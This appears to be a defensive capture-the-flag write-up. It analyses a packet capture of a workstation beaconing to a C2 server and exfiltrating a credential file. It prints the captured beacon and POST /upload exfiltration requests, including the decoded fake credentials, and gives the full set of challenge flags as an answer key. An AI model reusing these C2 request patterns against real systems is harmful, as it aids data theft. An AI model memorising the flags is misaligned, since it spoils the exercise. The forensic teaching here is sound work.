Blue Box: Silent Beacon - Incident Response Report
Case ID: BlueCorp-IDS-2026-0729
Classification: Confirmed Compromise - C2 Beaconing & Data Exfiltration
Analyst: Security Operations
Evidence: silent_beacon.pcap
Date of Analysis: 2026-07-29
Challenge Link: https://learn.hacklido.com/blue-box/silent-beacon
1. Executive Summary
BlueCorp’s IDS flagged unusual outbound HTTP traffic from an internal workstation. Packet capture analysis confirms the host 192.168.1.105 is compromised by malware performing periodic C2 check-ins (“beaconing”) to an external server at 45.33.22.11, masquerading as legitimate update traffic under the domain update-services.cdn-network.com. The malware subsequently exfiltrated a file named credentials.docx containing plaintext credentials to the same C2 server.
Verdict: Host is infected. Immediate containment and credential rotation recommended.
2. Tools Used
| Tool | Purpose |
|---|
| Python 3 + Scapy | Packet parsing, protocol dissection, stream reconstruction |
hashlib (Python) | SHA256 hashing of exfiltrated data |
base64 (Python) | Decoding exfiltrated payload |
| OSINT / IP WHOIS | C2 infrastructure attribution |
3. Methodology - Step by Step
Step 1: Load and get an overview of the capture
from scapy.all import *
pkts = rdpcap("silent_beacon.pcap")
print(len(pkts)) # total packet count
print(pkts[0].summary()) # sanity check on first packet
Wireshark equivalent: open the file and check Statistics → Capture File Properties.
Step 2: Identify top talkers (find the infected host & C2 IP)
from collections import Counter
ips = Counter()
for p in pkts:
if p.haslayer(IP):
ips[(p[IP].src, p[IP].dst)] += 1
for pair, count in ips.most_common(20):
print(pair, count)
Output (relevant excerpt):
('192.168.1.105', '45.33.22.11') 78
('45.33.22.11', '192.168.1.105') 40
192.168.1.105 is a private RFC1918 address (internal host). 45.33.22.11 is a public IP with the overwhelming majority of the internal host’s outbound traffic directed at it - the classic signature of a C2 channel.
Wireshark equivalent: Statistics → Conversations → IPv4, sort by number of packets.
Q1 - Infected internal host: HackCTF{192.168.1.105}
Q2 - External C2 server IP: HackCTF{45.33.22.11}
Step 3: Identify the C2 domain via DNS queries
for p in pkts:
if p.haslayer(DNSQR):
print(p[DNSQR].qname)
Output (relevant excerpt):
b'www.google.com.'
b'github.com.'
b'microsoft.com.'
b'stackoverflow.com.'
b'update-services.cdn-network.com.' ← repeated dozens of times
Most domains queried are benign, high-traffic sites (Google, GitHub, Microsoft, StackOverflow) - likely noise/decoy traffic. One domain, update-services.cdn-network.com, is queried repeatedly and at regular intervals, and its name is designed to look like legitimate update/CDN infrastructure (a common malware naming trick).
Wireshark equivalent: filter dns and inspect dns.qry.name.
Q3 - C2 domain: HackCTF{update-services.cdn-network.com}
Step 4: Extract and inspect the HTTP traffic
for p in pkts:
if p.haslayer(TCP) and p.haslayer(Raw):
load = bytes(p[Raw].load)
if b'HTTP' in load or b'GET' in load or b'POST' in load:
print('---', p.time, p[IP].src, '->', p[IP].dst,
p[TCP].sport, p[TCP].dport)
print(load[:500])
print()
This reveals two distinct HTTP request patterns:
(a) Beacon check-in (repeated every 30 seconds):
GET /checkin?id=0&status=ok HTTP/1.1
Host: update-services.cdn-network.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: */*
Connection: keep-alive
Server responds 200 OK / Checkin ACK each time. The id= parameter increments (0, 1, 2, 3 …) with each beacon - a sequence counter typical of C2 frameworks.
(b) Data exfiltration (occurs twice, after the beacon sequence):
POST /upload HTTP/1.1
Host: update-services.cdn-network.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/octet-stream
Content-Length: 64
Filename: credentials.docx
U0VOU0lUSVZFIERBVEEgLSBDcmVkZW50aWFsczogYWRtaW46UEAkJHcwcmQxMjMh
Server responds 201 Created / File received.
Wireshark equivalent: filter http and use File → Export Objects → HTTP to pull out the request/response bodies directly.
Q4 - Malicious User-Agent:
HackCTF{Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36}
(A stock, unmodified Chrome UA string - used deliberately to blend the malicious requests in with normal browser traffic.)
Q5 - HTTP methods used: HackCTF{GET_POST}
(GET /checkin for beaconing, POST /upload for exfiltration.)
Step 5: Calculate the beacon interval
checkin_times = []
for p in pkts:
if p.haslayer(Raw) and b'GET /checkin' in bytes(p[Raw].load):
checkin_times.append(p.time)
for i in range(1, len(checkin_times)):
print(checkin_times[i] - checkin_times[i-1])
Each successive GET /checkin request (id=0, id=1, id=2, …) is spaced exactly 30 seconds apart from the previous one - a fixed, machine-generated interval that no human browsing pattern would produce.
Wireshark equivalent: filter http.request.uri contains "checkin", look at the Time column deltas, or use Statistics → I/O Graph.
Q6 - Beacon interval: HackCTF{30}
Step 6: Recover the exfiltrated file and verify its hash
The POST /upload body is base64-encoded. Decode it:
import base64, hashlib
b64_payload = "U0VOU0lUSVZFIERBVEEgLSBDcmVkZW50aWFsczogYWRtaW46UEAkJHcwcmQxMjMh"
decoded = base64.b64decode(b64_payload)
print(decoded)
print(hashlib.sha256(decoded).hexdigest())
Output:
b'SENSITIVE DATA - Credentials: admin:P@$$w0rd123!'
cee30adb3175df8993a432797c9e637c517b389d631d9aa7c1bad06a51b82bd0
The exfiltrated content is a plaintext credential dump (admin:P@$$w0rd123!) packaged and named as credentials.docx, sent identically twice (likely a retry, or exfil confirmation loop).
Wireshark equivalent: File → Export Objects → HTTP, save the object, then on disk:
sha256sum credentials.docx
Q7 - Exfiltrated file: HackCTF{credentials.docx}
Q8 - SHA256 of exfiltrated file:
HackCTF{cee30adb3175df8993a432797c9e637c517b389d631d9aa7c1bad06a51b82bd0}
Step 7: Attribute the C2 infrastructure (IP geolocation) & identify the port
for p in pkts:
if p.haslayer(TCP) and (p[TCP].dport == 8080 or p[TCP].sport == 8080):
print(p[IP].src, p[IP].dport if hasattr(p[TCP],'dport') else '', p[TCP].dport, p[TCP].sport)
All C2 traffic (GET /checkin, POST /upload) consistently uses TCP port 8080 on both ends of the conversation (45.33.22.11:8080).
A WHOIS/IP-allocation check on 45.33.22.11 places it within Linode’s 45.33.0.0/16 block, allocated to Linode’s data center infrastructure based in Fremont, California, United States.
Wireshark equivalent: filter tcp.port == 8080; for attribution, right-click the IP → WHOIS lookup, or use whois 45.33.22.11 from a terminal.
Q9 - C2 hosting country: HackCTF{United_States}
Q10 - C2 port: HackCTF{8080}
4. Consolidated Findings
| # | Question | Answer | Flag |
|---|
| 1 | Infected internal host | 192.168.1.105 | HackCTF{192.168.1.105} |
| 2 | External C2 server IP | 45.33.22.11 | HackCTF{45.33.22.11} |
| 3 | C2 domain | update-services.cdn-network.com | HackCTF{update-services.cdn-network.com} |
| 4 | Malicious User-Agent | Chrome 120 UA string | HackCTF{Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36} |
| 5 | HTTP methods | GET (beacon), POST (exfil) | HackCTF{GET_POST} |
| 6 | Beacon interval | 30 seconds | HackCTF{30} |
| 7 | Exfiltrated file | credentials.docx | HackCTF{credentials.docx} |
| 8 | SHA256 of file | see above | HackCTF{cee30adb3175df8993a432797c9e637c517b389d631d9aa7c1bad06a51b82bd0} |
| 9 | C2 hosting country | United States | HackCTF{United_States} |
| 10 | C2 port | 8080 | HackCTF{8080} |
5. Indicators of Compromise (IOCs)
- IP:
45.33.22.11
- Domain:
update-services.cdn-network.com
- Port:
8080/tcp
- User-Agent:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
- URI patterns:
GET /checkin?id=N&status=ok, POST /upload
- File hash (SHA256):
cee30adb3175df8993a432797c9e637c517b389d631d9aa7c1bad06a51b82bd0
- Beaconing cadence: every 30 seconds
6. Recommendations
- Isolate
192.168.1.105 from the network immediately.
- Block
45.33.22.11 and update-services.cdn-network.com at the firewall/DNS sinkhole.
- Rotate the
admin credential exposed in the exfiltrated document.
- Image and forensically analyze the host to identify the malware’s persistence mechanism and initial infection vector.
- Hunt across the environment for the same IOCs (User-Agent + URI pattern + destination IP/port) to rule out lateral spread.
